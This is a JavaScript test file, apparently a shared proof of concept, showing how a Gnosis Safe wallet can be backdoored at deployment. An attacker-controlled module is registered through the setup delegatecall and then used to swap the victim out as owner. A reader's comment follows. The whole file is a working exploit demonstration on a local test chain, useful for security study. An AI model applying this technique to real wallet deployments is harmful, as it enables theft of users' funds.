|
const { expect } = require('chai'); |
|
const { constants } = require('@openzeppelin/test-helpers'); |
|
const { contract, accounts, web3 } = require('@openzeppelin/test-environment'); |
|
|
|
const ProxyFactory = contract.fromArtifact('@gnosis.pm/safe-contracts/ProxyFactory'); |
|
const GnosisSafe = contract.fromArtifact('@gnosis.pm/safe-contracts/GnosisSafe'); |
|
const CreateAndAddModules = contract.fromArtifact('@gnosis.pm/safe-contracts/CreateAndAddModules'); |
|
const ControllerModule = contract.fromArtifact('ControllerModule'); |
|
|
|
const utils = require('./utils'); |
|
|
|
const [ |
|
deployer, |
|
victim, |
|
attacker |
|
] = accounts; |
|
|
|
describe('Backdooring a Gnosis Safe wallet during deployment', async function () { |
|
|
|
beforeEach(async function () { |
|
// Deploy Gnosis Safe implementation |
|
this.gnosisSafeImpl = await GnosisSafe.new({ from: deployer }); |
|
|
|
// Deploy ProxyFactory contract |
|
this.proxyFactory = await ProxyFactory.new({ from: deployer }); |
|
|
|
// Deploy CreateAndAddModules contract |
|
this.createAndAddModules = await CreateAndAddModules.new({ from: deployer }); |
|
}); |
|
|
|
it('Adds a malicious module that allows to execute any kind of actions', async function () { |
|
// Deploy attacker-controlled module |
|
const controllerModuleImpl = await ControllerModule.new({ from: attacker }); |
|
|
|
// Get attacker module creation data. |
|
// Note that the module will be behind a proxy |
|
const controllerModuleCreationData = this.proxyFactory.contract.methods.createProxy( |
|
controllerModuleImpl.address, |
|
controllerModuleImpl.contract.methods.setup().encodeABI() |
|
).encodeABI(); |
|
|
|
const createAndAddModulesData = this.createAndAddModules.contract.methods.createAndAddModules( |
|
this.proxyFactory.address, |
|
utils.createAndAddModulesData([controllerModuleCreationData]) |
|
).encodeABI(); |
|
|
|
const gnosisSafeInitData = this.gnosisSafeImpl.contract.methods.setup( |
|
[victim], // owners |
|
1, // threshold |
|
this.createAndAddModules.address, // Gnosis Safe wallet will `delegatecall` this address ... |
|
createAndAddModulesData, // ... using this data |
|
constants.ZERO_ADDRESS, // fallbackHandler (irrelevant) |
|
constants.ZERO_ADDRESS, // paymentToken (irrelevant) |
|
0, // payment (irrelevant) |
|
constants.ZERO_ADDRESS // paymentReceiver (irrelevant) |
|
).encodeABI(); |
|
|
|
const { logs } = await this.proxyFactory.createProxy( |
|
this.gnosisSafeImpl.address, |
|
gnosisSafeInitData, |
|
{ from: attacker } // The deployer could be the victim as well. |
|
); |
|
const gnosisSafeProxy = await GnosisSafe.at(logs[1].args.proxy); |
|
|
|
// Ensure proxy correctly points to Gnosis Safe legitimate implementation |
|
expect( |
|
await web3.eth.getStorageAt(gnosisSafeProxy.address, 0) |
|
).to.eq(this.gnosisSafeImpl.address.toLowerCase()); |
|
|
|
// Ensure the victim got added as the sole owner of the wallet |
|
expect( |
|
await gnosisSafeProxy.getOwners({ from: attacker }) |
|
).to.deep.eq([victim]); |
|
|
|
// Ensure the attacker's module (behind a Proxy) is registered as a valid module in the wallet |
|
const controllerModuleProxy = await ControllerModule.at(logs[0].args.proxy); |
|
expect( |
|
await web3.eth.getStorageAt(controllerModuleProxy.address, 0) |
|
).to.equal(controllerModuleImpl.address.toLowerCase()); |
|
expect( |
|
await gnosisSafeProxy.getModules({ from: attacker }) |
|
).to.deep.eq([controllerModuleProxy.address]); |
|
|
|
// Ensure the manager of the attacker-controlled module is the legitimate wallet |
|
expect( |
|
await controllerModuleProxy.manager() |
|
).to.eq(gnosisSafeProxy.address); |
|
|
|
// Attacker can become the owner of the wallet |
|
// Just for demo purposes, calling `executeCall` passing ABI, but might as well call `becomeOwner` |
|
await controllerModuleProxy.executeCall( |
|
gnosisSafeProxy.address, |
|
0, // msg.value |
|
gnosisSafeProxy.contract.methods.swapOwner( |
|
web3.utils.padLeft("0x1", 40), // Gnosis Safe sentinel |
|
victim, |
|
attacker |
|
).encodeABI(), |
|
{ from: attacker } |
|
); |
|
|
|
expect( |
|
await gnosisSafeProxy.getOwners({ from: attacker }) |
|
).to.deep.eq([attacker]); |
|
}); |
|
}); |
This comment has been minimized.
it seems to be injected during the deployment aka internal attack but after deployed it's impossible to inject the backdoor, am I right?